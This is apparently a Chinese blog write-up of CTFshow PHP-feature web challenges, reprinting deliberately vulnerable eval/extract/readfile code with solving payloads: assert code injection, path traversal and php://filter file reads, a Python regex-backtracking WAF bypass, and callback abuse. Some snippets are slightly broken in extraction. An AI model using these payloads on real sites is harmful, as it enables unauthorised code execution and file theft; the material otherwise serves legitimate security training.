CTFshow之webPHP特性下

2024-02-28 20:24:43 浏览数 (2)

因为之前时间的关系CTFshow的内容很多专题是做了一半,现在是把那些没做完的内容补上。

[TOC]

Web123

代码语言:javascript复制
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-| |=|{|}|"|'|,|.|;|?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

所以如果我们直接传CTF_SHOW.COM是会被转换成CFT_SHOW_COM的,绕过的话这里要利用它的判定规则,当变量名中存在两个不合法字符时,只转换前面的那一个。[和.并存时,会转换前面的[,而[转换之后恰好为_,从而可以绕过。

Web125

代码语言:javascript复制
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-| |=|{|}|"|'|,|.|;|?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

$argv:传递给脚本的参数数组

Web126

代码语言:javascript复制
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-| |=|{|}|"|'|,|.|;|?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

源代码第六行使用 isset 语句判断,所以我们需要定义 CTF_SHOW ,CTF_SHOW.COM,但是不能声明fl0g,但是后面的判断中fl0g===”flag_give_me”才能得到flag,这里就需要我们通过 CTF_SHOW ,CTF_SHOW.COM两个参数绕过。

assert函数 bool assert ( mixed assertion [, Throwable exception ] ) , eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加。

代码语言:javascript复制
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

Web127

代码语言:javascript复制
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
    if(preg_match('/`|~|!|@|#|^|*|(|)|\$|_|-| |{|;|:|[|]|}|'|"|<|,|>|.|\|//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
} 

extract抽取函数:通常情况结合数组使用,?ctf_show=ilove36d但是下划线被过滤了,这里又一次用到了上面讲到的内容,当变量名中存在会将其转化为_ 空格是经典的非法参数,我们就可以用 进行绕过

Web128

代码语言:javascript复制
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

Web129

代码语言:javascript复制
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos() 函数查找字符串在另一字符串中第一次出现的位置 ,readfile() 函数输出一个文件。同时stripos($f, ‘ctfshow’)>0说明ctfshow不能放在首部。

这道题解法也有不少,比如目录穿越 ?f=/ctfshow/../../../../../var/www/html/flag.php 再比如filter伪协议,?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php 甚至我们可以 ?f=./ctfshow/../flag.php 先进入名为ctfshow的下级文件夹在穿越回去,这个跟第一个本质上是一样的…..

Web130

代码语言:javascript复制
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/. ?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

直接绕过正则表达式: f=ctfshow

.表示任意单个字符, 表示必须匹配1次或多次, ?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true。所以才有了直接f=ctfshow。

这一道题也可以通过数组绕过,因为stripos函数无法处理数组, 可以直接传f[]=1,

Web131

代码语言:javascript复制
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
    if(preg_match('/. ?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

可以利用回溯限制来绕过。

当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。这里ctfshow提供的wp不知道为什么我做不出来……

这边利用回溯限制来绕过,当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。

代码语言:javascript复制
import requests
url='http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'
data={
    'f':'very'*250000 'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

Web132

打开是一个网站,访问robots.txt得到/admin打开/admin获得题目。

代码语言:javascript复制
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        if($code == 'admin'){
            echo $flag;
        }
    }
}

对于(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于或(||) 运算 : x||y 当x为true时,直接跳过,不执行y ,同时与运算的优先级要高于或运算,所以我们只需要满足第三个条件就行。

?username=admin&password=admin&code=admin

Web137

代码语言:javascript复制
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }static function getFlag(){
        echo file_get_contents("flag.php");
    }
}call_user_func($_POST['ctfshow']);

考察调用类中的函数 call_user_func()–第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

代码语言:javascript复制
ctfshow=ctfshow::getFlag
#php中 ->与:: 调用类中的成员的区别,->用于动态语境处理某个类的某个实例,::可以调用一个静态的、不依赖于其他初始化的类方法。

0 人点赞